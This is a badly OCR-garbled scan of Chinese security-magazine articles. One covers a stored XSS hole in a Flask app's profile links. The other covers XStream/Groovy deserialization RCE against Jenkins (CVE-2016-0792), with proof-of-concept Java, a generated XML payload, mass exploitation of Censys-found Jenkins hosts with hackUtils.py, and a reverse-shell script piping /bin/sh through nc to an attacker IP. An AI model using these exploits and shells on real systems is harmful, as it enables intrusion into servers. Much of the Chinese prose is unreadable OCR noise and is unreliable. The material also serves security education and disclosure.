PHIE T — MFERSFERAIIE : https://github.com/1jingdian/1jingdian, ( &%
HitmB&EXH , (BAERLINILE

https://github.com/1jingdian/1jingdian/blob/master/application/forms/user.py

class SettingsForm(Form):
motto = StringField('EE/G%8'")
blog = StringField('{Z' , validators=[Optional() , URL(message="§&E&ZCAIER)])
weibo = StringField('/&i{&' , validators=[Optional() , URL(message="8EEFRTCASIERR')])
douban = StringField('&3f' , validators=[Optional() , URL(message="§EZt&TALER')])
zhihu = StringField('"f0' , validators=[Optional() , URL(message="§&ZF&=A<1ERE')])

XE 4 M , 22 URLORETIRIE. validate (B EENSUEE. ZBENARRH |
REHBPERENER user/profile.html
https://github.com/1jingdian/1jingdian/blob/master/application/controllers/user.

py#L14

def profile(uid , page):
user = User.query.get_or_404(uid)
votes = user.voted_pieces.paginate(page , 20)

return render_template('user/profile.html' , user=user , votes=votes)

ERH—T profile.html

https://github.com/1jingdian/1jingdian/blob/master/application/templates/user/p
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rofile.html

{% from "macros/_user.html" import render_user_profile_header %}

{{ render_user_profile_header(user , active="votes") }}

AT marco , € render _user profile header &% , 4R
https://github.com/1jingdian/1jingdian/blob/master/application/templates/macro

s/_user.html#L37

{% macro render_user_profile_header(user , active="creates") %}

<div class="media-icons">
{% if user.blog %}
<a href="{{ user.blog }}" target="_blank" title="{&Z=">
<img src="{{ static('image/media/blog.png') }}" alt=""/>
<fa>
{% endif %}
{% if user.weibo %}
<a href="{{ user.weibo }}" target="_blank" title="{3{&">
<img src="{{ static('image/media/weibo.jpg') }}" alt=""/>
<fa>
{% endif %}
{% if user.douban %}
<a href="{{ user.douban }}" target="_blank" title="S#§">
<img src="{{ static('image/media/douban.png') }}" alt=""/>
<fa>
{% endif %}
</div>

</div>

XEBJ user.blog. userweibo, userdouban #BFINT a ix&EH href B, X—&RFiR
1ESCRR LR ZRIAB demo RI4ESS | BREESEUENRY url AT XSS,
FRAMHtRREIRRIERE ?

XEBRZEFWANER L — , RENANFFRAG LIS TiRR  HEEATFAER

ACEERAHSERY. HEEANE—NIREFFREMRIR | BPASREL TG

FRE RSB EH TR
MEFRBRBINLARSFEF AR SR
EHFAIFF AL VERMRRAARRERRE  MEzAEPr-EiRR
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#AMAIF , IXANRIE : WooYun:ThinkPHP E4MSiHERFERISE] getshell
http://www.wooyun.org/bugs/wooyun-2015-0101728, E5SCHESE— &M, [EEE
FA S BREY, SR EXIR T TR , WE 4-3-2

RTFXMHEEARNHIRZHH
IMBIRGEAMRS AT RGNS, TBATRUREDATA_CACHE KEYSY, BREFXIHABIMNE, Bim:

1. 'DATA_CACHE_KEY'=>'think’
Kl 432
BIXMNREA , REEAEN. (RALIRESH  BREFXHEMENE, )XEHeaik
PREFXHERIENEIEHARE | RBEFIEXKREXNSH,. FILUXME , EAED
5.
BEAMAIF - WooYun:EFR php #2258 slim Z8H5_E77#E XXE iR ( XXE BB )
http://www.wooyun.org/bugs/wooyun-2015-0156208 , {REBEA—MEZRER , FF RS
FEIEERI POST SHRIRHMEF AT LUER XXE RiR X NREFIFAE BB HIXEN.
B—1MiIF : WooYun:ThinkPHP ZEaigit ASERZ SEL SQLIEAN
http://www.wooyun.org/bugs/wooyun-2014-086742 , HAi BIHIEXBIBEE KT
FRELESRFRNRE  ERZEEE, BFiIXEE—T ThinkPHP #1 Codeigniter , Cl &

T EEEEMARIER TP AEE |, ©fF Tkeyl RIME | NE 4-3-3 :

RBALIEXNN T iZEE 278 CHLBIEEF

$array = array('name !=' => $name, 'id <' => $id, 'date >' => $date);
$this->db-s>where($array);

K 4-33

IEEBRT key NERASHAFEHTIRI. ALl , BHFAFASIVE Cl BAFEEE , M

£ TP ERifFEiaRl XAt FEIA /9t ThinkPHP A958R, FAIEASURER WTForm
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BYRIRR , IXMERESE WTForm RILIARIREE. F(WEXEF |, TLBERICHEE it

122D validater NF={ZAIEIRR , 4N 4-3-4

class wtforms.validators.URL(require tld=True, message=None)

Simple regexp based url validation. Much like the email validator, you probably want to validate

the url later by other means if the url must resolve.

Parameters: e require_tld - If true, then the domain-name portion of the URL must contain a .tld
suffix. Set this to false if you want to allow domains like /ocalhost.

e message - Error message to raise in case of a validation error.

K 4-3-4

SR XMENRIRT T RERBREEMIIARKR | REEZNER.
FREMMRRTEENAN [RL451E]
B4 IFEREEMMITTAE | MEAENSEENEGR SR,

Bt , WEEEM code review ZRELER , L HEECERIBEISM—NTF

ek

RN BT SR, W SREEAR—EZ A EREITN R 2,

code review RIZFEH , BIRAMIRF—TE=S IR  MAEUNEEE S5
13, XEFEARERM—LBERYF . XEAF MR R ERRRAYTERRE.

BE  HERIERE N ERREE RN —R. HSLKER [MEZRSH] | ERSEhEa—
ERGEE, REFREEEREE example , WEEBLEXF (EIFSHIEEN
WEXR ) BEEW , MARFAEPERE, XMMGASIR RS ERIFERIRA  BAx
PHISEEEEE SR HIREBRME | RSB RESVENT AN,

o BE—ENREEUMES M TRYVENRR , [READER,

(£X5c ) HfEwLE : FER

55235 00 / & 250 U AXHHE R Yol = 258, VIZIE TEAREH S .



o2z HHRM 240k | H5753

% 435 Xstream RFH4LIFIA 3 H74E Jenkins F A

YE& : xcoder&Z I\ (E

kB8 BRAIRE/SE=ITX

RILLE : http://drops.wooyun.org/&http://zone.wooyun.org/

51}y

FHRERSRIUERIDR R AFEINE SIS/ AR T XIRIRART Xstream
HEIRFIRIRR A TARSIT , ATH EEARNFHEE T T , ESUXXATR
EF1ZAT JRE B RFFMLRIRAARIFRMER EERS |, FIXTF JRE BB FFIL
UFRAKTE  BXERNREFATUREHITII JRENFFIL , IRAATT 11 Bk
S HrEIEBA Apache CommonsCollection BSiEiE. #F7 , EIZEIEIE, E54T Xstream
TRIERTAIL . XStream JBiAAYRIRET Groovy EHEAVEIRR , HSLE 15 FHRHRB AL
Groovy g 7—> CVE-2015-3253 iy Bug , RIM_EIUFIRBAZHT , AHAKIRSHT
XStream RURRAIRHEZERZ! Groovy RIBB4N CVE , EAIRRAVRIERIRE TAR1 CVE,
FoRitiRAER Groovy B9 CVE-2015-3253 AYimiRNE.

Groovy-CVE-2015-3253 iEif(FZEE 1.7.0-2.4.3)

K_ERILSBIZRmRENDHT , FTLARBEET cve RIEEEEERNEH AR ,

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3253 , ESRIHEAIT :

The MethodClosure class in runtime/MethodClosure.java in Apache Groovy 1.7.0 through 2.4.3 allows remote

attackers to execute arbitrary code or cause a denial of service via a crafted serialized object.

‘g EREEREAEE | FIENE T RRAHHIE T MethodClosure
http://grepcode.com/file/repo1.maven.org/maven2/org.codehaus.groovy/groovy-

all/2.4.4/org/codehaus/groovy/runtime/MethodClosure java 2 ZEEN LR |,
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WNE 4-4-1 :

public class MethodClosure|
extends Closure

{
private static final Class[] EMPTY_CLASS_ARRAY = new (Class[0];
private String method;

public MethodClosure(Object owner, String method)
{

super(owner);

this.method = method;

(lass clazz = owner.getClass() == Class.class ? (Class)owner : owner.getClass();

maximumNumberOfParameters = 0;
parameterTypes = EMPTY_CLASS_ARRAY;

List<MetaMethod> methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);
for (MetaMethod m : methods) {
if (m.getParameterTypes().length > maximumNumberOfParameters)
{
(lass[] pt = m.getNativeParameterTypes();
maximumNumberOfParameters = pt.length;
parameterTypes = pt;
}
}
}

public String getMethod()
{

return method;

}

protected Object doCall(Object arguments)
{

return InvokerHelper.invokeMethod(getOwner(), method, arguments);

}

drops wooyun.org

K 441

1ZSEAYEIAR 9 “Represents a method on an object using a closure which can be
invoked at any time”,

AR EEH B EITE— MEENRIARERAIZRY Closure RISEFIF EHRTLATE(HRASER
TR, LB BEARChTT AR AR MR T RIS SR LARISE T iZHIEREL B IRHE

BB EARNTHY , (E 4-4-2 :
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V

* Invokes the given method on the object.
*y
public static Object invokeMethod(Object object, String methodName, Object arguments) {
if (object == null) {
object = NullObject.getNullObject();
//throw new NullPointerException("Cannot invoke method " + methodName + "() on null obj

}

// if the object is a Class, call a static method from that class
if (object instanceof (lass) {
(lass theClass = (Class) object;
MetaClass metaClass = metaRegistry.getMetaClass(theClass);
return metaClass.invokeStaticMethod(object, methodName, asArray(arguments));

}

// 1t"s an instance; check i1f 1t"s a Java one
if (!(object instanceof GroovyObject)) {
return invokePojoMethod(object, methodName, arguments);

i
// a groovy instance (including builder, closure, ...)
return invokePogoMethod(object, methodName, arguments);
} T

K 4-4-2

BIZ77 AR ERE A LAREIZT 5 SR ER A RIS EN SRAMEETS % | Fikd
MethodClosure EHR#EIETTEFRIPRNSERIEES owner KFRFALTIEAINSR |
method AERTERNETF | AR LWERFEX S MTISEIHITIERE 18 E
E X RUAR G iERERVAR EEPLIGERCIIREFHTHIT. 2MIF |, FInFAi148

1B1Z MethodClosure SEI#{Ta<SHITHAE | ABAMKIBINT

MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open" , "/Applications/Calculator.app") ,
"start");

mc.call();

EXBERBR call FiZRELIEA doCall F& , HXHBAITLIBECERER.

X EACES AT LASEEAUAS AT | R ZRERTIRERAE A LISERT | BRATKAIET
SLRABAR | MEEIX CVE HL2 ¥ X MERER LT A ?

BRPATA TAIE T AR AR A B R R EUN T SBURBRIAT BRAT IR ERES
BBLEREFE T IR ERPEAIREL , @I eclipse BT LMRB 2B BB ERT

MethodClosure#call()B&Z% , aNE 4-4-3 :
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Members calling 'call()' - in workspace

P @ getReturnType() : ClassNode - org.codehaus.groovy.transform.stc.new MethodNode() {...}

P @ getSourceValue() : Object - org.codehaus.groovy.binding.ClosureTriggerBinding

> e handIeNotlflcatlon(Notmcatlon Object) void - groovy.jmx.builder.JmxBuilderModelMBean. AttributeChangedListener
ad - groovy.jmx.builder.JmxEventListener

] hashCode() int - groovy.util.Expando

> & maln(Strlng[]) void - org.iswin.app.Xstream

> @ newScope(Closure) : TypeCheckingScope - org.codehaus.groovy.transform.stc.AbstractTypeCheckingExtension
> @ onNodeChildren(FactoryBuilderSupport, Object, Closure) : boolean - org.codehaus.groovy.control.customizers.builder.ImportCustomizerFactory

» @ onNodeChildren(FactoryBuilderSupport, Object, Closure) : boolean - org.codehaus.groovy.control.customizers.builder.SecureASTCustomizerFactory
> @ parse(String, Callable<Long>, boolean, DateTimeZone) : long - org.elasticsearch.common joda.DateMathParser

> @ render() : Component - groovy.swing.impl.ClosureRenderer

P @ run() : void - groovy.lang.Closure

P @ run() : void - org.codehaus.groovy.runtime.new TimerTask() {...}

P @ run() : void - org.elasticsearch.indices.flush.new Runnable() {...}

P @ run() : void - org.elasticsearch.search.action.new Runnable() {...}

P @ scopeExit(Closure) : TypeCheckingScope - org.codehaus.groovy.transform.stc.AbstractTypeCheckingExtension

> shouldFail(Class, Closure) : Throwable - groovy.test.GroovyAssert

> e shouldFail(Class, Closure) : Throwable - groovy.util.GroovyAssert

> & shouldFail(Closure) : Throwable - groovy.test.GroovyAssert

> & shouldFail(Closure) : Throwable - groovy.util.GroovyAssert

4 OS shouldFailWithCause(Class, Closure) : Throwable - groovy.test.GroovyAssert

Xy shouldFailWithCause(Class, Closure) : Throwable - groovy.util.GroovyAssert

» @ stringOf(Closure) : String - groovy.text.markup.BaseTemplate

» @ toString() : String - groovy.util.Expando
P @ use(Class, Closure<T>) <T> : T - org.codehaus.groovy.runtime.GroovyCategorySupport.ThreadCategorylnfo

> @ use(Closure) : Object - groovy.lang.ProxyMetaClass

> @ use(GroovyObject, Closure) : Object - groovy.lang.ProxyMetaClass

P @ use(List<Class>, Closure<T>) <T>: T - org.codehaus.groovy.runtime.GroovyCategorySupport.ThreadCategoryinfo
> @ withBuilder(FactoryBuilderSupport, Closure) : Object - groovy.util.FactoryBuilderSupport

P @ withTypeChecker(Closure<R>) <R> : R - org.codehaus.groovy.transform.stc.AbstractTypeCheckingExtension

> @ writeBody(Object) : void - groovy.text.markup.BaseTemplate

> @ writeTo(Writer) : Writer - groovy.lang.GString

drops wooym.org

K 443

AN LB , FAITATLAEE groovy.util.Expando 29 hashcode AR toString 75347
F37T MethodClosure#call()ER%] , ZXEME java BYIMKEIIROZELESEED | XEBEHY
hashCode() 75X B T FAEGRBEAIERES , hashCode HREA RIXA CVE EbBIZOIET |
BEFEBAFERNIE hashCode RERWER , SWMIRIRESHEFAINIIR , STEBIZXS
59 hashCode LAK equals 73E#HTEER | ANSRIXF N TEIRBIRIZER—EL , BBAIAIIX
FINREES | MREEANSIEEES hashCode LK equals 75i% |, BRASTEARSE
AIBRIASTIL,

XEAAR hashCode RYFRIZfE . B3Rt HashMap BY put 733% | 75 iZRIEXANT |

4N 4-4-4 :
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public V put(K paramKL V paramV)
{
if (paramK == null) {
return (V)putForNullKey(paramV);
}
int i = hash(paramK.hashCode());
int j = indexFor(i, table.length);
for (Entry localEntry = table[j]; localEntry != null; localEntry = next)

Object localObjectl;
if (Chash == i) && (((localObjectl = key) == paramK) || (paramK.equals(localObjectl))))

Object localObject2 = value;
value = paramV;
localEntry.recordAccess(this);
return (V)localObject?2;

3
}
modCount += 1;
addEntry(i, paramK, paramV, j);
return null;

drops.wooyun.org

Kl 444
E7 Map 22— key-value ZEBIRVEHREEN |, FTLA Map £E&AIFEEES key , FTLAE
IXIEEEGTRRIIREXSEFMT key RE1EF | BBATEFITESRFHSER key BY
hashCode 75i% JIERFAWEUHE— groovy.util.Expando XIEAEA Map E£&H  key ,
AEBSHINHE AR HAiA groovy.util. Expando B hashCode 75i% , WfitA
FAIROEEARE. BBE EERIRIREFEJBKIRE groovy.util.Expando#hashCode 733% |
EENAIRBOEE— U TEEARERINTSR |, WE 4-4-5 ¢

/**
* This allows hashCode to be overridden by a closure <i>field</i> method attached
* to the expando object.

*
* @see java.lang.Object#hashCode()
*y/
public int hashCode() {

J

if (method != null && method 1nstanceof Closure) {
// invoke overridden hashCode closure method
Closure closure = (Closure) method;
closure.setDelegate(thi s
Integer ret = (Integer) closure.call();
return ret.intValue(Q);

+ else {
return super.hashCode();

}

¥ drops wooymors

K 445

XEM_EEFETLIEH A getProperties().get("hashCode") F5iEMNMSEIEE MAY
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hashCode , EI1REEREF setProperties("hashCode" , Expando L) XK4F5E
hashCode BHYXSTFHISLIHITT , iIXE hashCode #47E Closure i HFRABERER
i3F8 call %1 , MethodClosure 18372 Closure f9F3 | BRI EIXEMES |, BB
MO SRIIARA.

FEREISEISER Map#put 75ERIA MR EA WaELFRIRED |, BBAB ARTRERET |, BB
EFSE T A& Map B9 put 5i% | FERFFIEIXEFRZRIERTFER , FRTIXXARY
Xstream RFFFILZ 5 java FIE R FFICRPRATEER R B IXEFRIZRAT,

TELSHFIBAES , 20E 4-4-6

126/

13 * @author iskin

14 * Email gdmin@iswin,ora
15 * 2016%2R278 T45:25:24
16 | */

17 public class GroovyCVE {

CiZWW YW
# org.iswin.app '
v, GroowyCVE closure <i>
© ° main(String[) : void

19=  public static void main(String[] args) {
20 HashMap<Expando, Integers m = new HashMap<Expando, Integer>();

21 Expando ep = new Expando();

2 MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open”, ><

23 "/Applications/Calculator.app"), "start");

24 mc.setDelegate(ep);

2 /8RhoshCodelER YA MO Uicode B
26 ep.setProperty("hashCode", mc);

27 //%8n. put&iifepihashCode s, HIFRABEEENS, FMZEARRMENAN 00000000 0000 0000 0000 0000 0000 0000

28 m.put(ep, 666); 83 a kL

0000 0000 0000 0000 0000 0000 0000 0000
3 15 0

W}
i1
| AND  OR AC| C
EConsoIeK " Markers = Progress . Problems x& ‘lﬁB @@ "' g = g D E F

<terminated> GroovyCVE [Java Application] /Library/Java/JavaVirtualMachines/1.6.0.jdk/Contents/Homeybinfjava (2016425278 T48:17

20:17:21 org.codehaus.groovy. runtime.mi2n MetaInfExtensionModule newModule NOR ' XOR A B C Rol ' RoR
le [groovy-all] - Unable to load extension class [org.codehaus.groovy.runtime.NioGroovyMethods]
in thread "main" java.lang.ClassCastException: java.lang.UNIXProcess cannot be cast to java.lang.Integer « » 7 8 9
t groovy.util.Expando.hashCode(Expando. java:157)
t java.util.HashMap.put(HashMap. java:372)

t org.iswin.app.GroovyCVE.main(GroovyCVE. java:27) X«Y | X»Y 4 5 6

ZHEE 1 0092 | R
K 446

XStream RFFI{LIER

Xstream B FFMLTRIRAIMRIRAZE LS ATARY Groovy BARIE , RAIITE Xstream
SRR TR S R ERAR TR RIGERERIR | tBalE Xstream TER A5 LS ERY
Map#put BREUSHIIELTHY Expando SCHWER key NINEISE G PRIfRA TACEEHIT | 20E

4-4-7 :
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ivc

103 protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext co
104 Map map, Map target) {

105 reader.moveDown();

1106 Object key = readItem(reader, context, map);

107 reader.moveUp();

108

109 reader.moveDown();

110 Object value = readItem(reader, context, map);

111 reader.movelp();

113 target.put(key, value);

114 1 i ooy

4-4-7

XEERT key HUEFA IMNERT Expando RISEHIRISR. TEHE EXP BY , BSeHAEEE—

Expando F— 5Ll , FRHZE hashCode HISLIN /I MethodClosure RISE |, SAFS
SEffE—A HashMap S3gER put 757448 Expando FISLEHLITSRIER key , value £
INZE map A, ZAfF1E Xstream X3 map #17FFIL |, IXHFEBAIAY Payload #t OK T,
EITBREATPEREEEEZR POC 2 EARM , XERIFFLEET xml 89 , FrlL
1588 Xstream 1EXBREUSHIEIFRINI ST LSRR AR xml R EFFMLBIREHT xml

EMRAAERXIR, IFAMEIR , FHIE POC RS AHRIE , WNE 4-4-8 :

B /x*

* @guthor iswin

*/ ‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘‘
public class XstreamPOC {

= public static void main(String[] args) {
HashMap<Expando, Integer> m = new HashMap<Expando, Integer>();
Expando ep = new Expando();
MethodClosure mc = new MethodClosure(new java.lang.ProcessBuilder("open",
"/Applications/Calculator.app"),
"start™);
mc.setDelegate(ep);
// #EhashCodeBENEM, XBEEMPOCHRMEEETE,
// EATEREAM. putHiEKexpandoLFIRHESEE, SiAMAhashCoderiE, MARIRHE,
// EREMEFERTE, RETEERPOC, FALUXEERAEMFR
ep.setProperty("hashsCode", mc);
m.put(ep, 666);

XStream xstream = new XStream(new DomDriver());

// XEBHAERRIPOCE RN EFREE
String payload = xstream.toXML(m).replace("hashsCode", "hashCode");

System.out.println(payload);
System.out.println(xstream.fromXML(payload));

drops.wooyun.org

K 4-4-8
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PATIERfE |, FA089 POC SiAERALTD | SNE 4-4-9 :

> XstreamPOC [Java Application] /Library/Java/. { ines/1.6.0.jdk/C It i (2016%2F 27H T49:36:01)
®&: Module [groovy-all] - Unable to load extension class [org.codehaus.groovy.runtime.NioGroovyMethods]
<map>
<entry>
<groovy. util.Expando>
<expandoProperties>
<entry>
<string>hashCode</string>
<org. codehaus . groovy. runtime MethodClosure>
<delegate class="groovy.util.Expando" reference="../../../.."/>
<owner class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/Applications/Calculator.app</string>
</command>
<redirectErrorStream>false</redirectErrorStreams
</owner>
<resolveStrategy>0</resolveStrategy>
<directive>0</directive>
<parameterTypes/>
<maxi 0fParameters>0</maxi 0fParameters>
<method>start</method>
</org. codehaus . groovy. runtime MethodClosure>
</entry>
</expandoProperties>
</groovy.util.Expando>
<int>666</int>
</entry>|
</map>
Exception in thread "main" com.thoughtworks.xstream.converters.ConversionException: java.lang.UNIXProcess cannot be cast to java.lang.Integer : java.lang.UNIXProcess cannot
-- Debugging information ----

message : java.lang.UNIXProcess cannot be cast to java.lang.Integer

cause-exception : java.lang,

cause-message ¢ java.lang.UNIXProcess cannot be cast to java.lang.Integer

class : java.util,HashMap

required-type : java.util.HashMap o——
K 4-4-9

ETBAPUTEMAINES , X MNELARRR , BRTHITa<S29h , FERIRBHAFRIE |

79 MethodClosure RUMHERENFIERE T E=HUTIiZRIRIRIARIUTAIZIZRTR Al

H

REGRR—REIERE AR — N TEHRVSETLMT XA sELIRERIIERIETT.

O

mREE
XN R AN ZER S ENERIER T , —HEERF Xstream EABM4NT |, Ltboh
Groovy £ 2.4.3 Z[5IEE T RAEHITANXA bug , ZH7T MethodClosure BUHBH#117IH

g€ . 20E 4-4-10 :

;‘ '/* *'/ IO O T AT S TR 7
8 \/* */ public class MethodClosure
Q /* */  extends Closure

10 /* */ {

11 /* 35 */  public static boolean ALLOW_RESOLVE| = false;

12 /* 37 */ private static final Class[] EMPTY_CLASS_ARRAY = new Class[@];

13 |[/* */  private String method;

14 /* .74

158 /* */  public MethodClosure(Object owner, String method) drops.wooyun.org

4-4-10

ZEMAIFAF T LUBIS TR Groovy ROMASSEEMRZ RIS R AIFAN,

\
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https://www.contrastsecurity.com/security-influencers/serialization-must-die-act-2
-xstream?platform=hootsuite
http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserializatio
n38/

B=

201652 H 24 B ESM&EMARRKM—mIE(Serialization Must Die: Act 2: XStream
(Jenkins CVE-2016-0792)), XStream 2—MEBNRFFILRIE , A& 2 , RXHE
FLA Jenkins AfEIE T — N2 URBHATHY EXP,

ba (il

XStream JREREARIRET Groovy HHRIERR, BESHTHISN !

http://drops.wooyun.org/papers/13243
http://zone.wooyun.org/content/25551

2

£T FERIDHT , EERE T NRIHLERIA EXP , WNE 4-4-11 :

K 4-4-11
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1Z EXP 375584 IP FIFRFOHLE IP FIFS,
1.8 IP oIS TN

<8I« hackUtils.py -k [IP Address][::command]

Linux SMETFIBERER |, tE 4-4-12 ¢

&P root@* 7T T T T

4-4-12

Windows I METFBEJER |, 0E 4-4-13 :

4-4-13

2itE 1P BSFIBARAT :
% EXP oI #itEEERIARY Jenkins fRE B EHITERDRS. EATTLUET python

hackUtils.py -i jenkins #t23kEY Jenkins fY IP ittt (= TR EIREE LB R FRE—

55245 71 / & 250 U AXHHME R Yol = I 58i, VIZIA FAREHE.
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N IP FUZRSE censys.txt , 4NE] 4-4-14 :

~fhack/tmp/hackUtil=#% python hackUtil=.py -i jenkins

ing IPs/URLs from C VS ...

K 4-4-14

#S$H&R, - hackUtils.py -k [IP_list][::command] , #NE& 4-4-15 :

4-4-15

iF :[IP address]ZF&R=E4 IP ik , 40 : 10.10.10.10 , [:command]F~MEEHITHISS |
gn : =dir8¢E:" touch /tmp/jenkins “, [IP_list]Z&R7= IP FUZRAISM: | 40 @ IPtxt

SEik

AT HERFKEF IR FEAIZ EXP |, EHRMET—NERAR# shell 241,
FFARIAYES:

1. —aRTRITAIMNARSS 88

2 —BLRLET% EXP BYEREM,

3.—BEREN Jenkins fRSSES

B8, SERIB TGRS S EFEmOELNT : nc -vv -1 8000 , #NE 4-4-16 :

5246 11 / & 250 T AUHME B e Ml 215, VIZIA ARG & .
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K 4-4-16

B8, FIRZ EXP HITHLEMGN , S THEAIpIIEE TRERRAIESER Jenkins JRSS

%% 1 yu 4_4_17 .

4-4-17

FE=% , BFEESP— IPEABRIRSSS | WHIRREEFE =i — < © python
hackUtils.py -k [B#x IP]::" telnet [YAIBRSSES IP] [MImiRO]" UK ERTLLER, 0

TE ALIEEAIIZERRS SR ERE FAALUEEREENASITRO NE 4-4-18 :

q &P root@1. "

root@lus — .o

FEE |, EEREN EHUTIZRG SRR shell, TBX—% , AILUBEZ EXP H#iTiSKKR
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58 shell , tBRTLARIRIUI RS,
Bt , FIRan< THGE shell RIMIAZEIRSSSS | tLa0 : INEIITRIRSE shell BIRIAAER

triRSSER N, WNE 4-4-19 :

#1/bin/sh

a=S$(date +%s);

backpipe="backpipe""$a";

mknod /tmp/Sbackpipe p;

/bin/sh 0</tmp/$Sbackpipe | nc [M0F=EA, IP] [ME0FIR] 1>/tmp/Sbackpipe;

K 4-4-19

K 4-4-20

+
+
+
+
+
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T
T
T
T
T
T
T
T
T

e e I e it ]

K 4-4-21
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Elt , BRAITEHINMFIFEZ EXP $KEE) T BFRIRSSEEH shell 7,
BIZHbE © https://github.com/brianwrf/hackUtils
AR - UMEEIER | EHUARTRTIEEER , BU—EREERAKE!

(£X5c ) RfEwLE « 588K

59249 7T / & 250 T WAMEE e Ml 1580, YIZIA FARERE .
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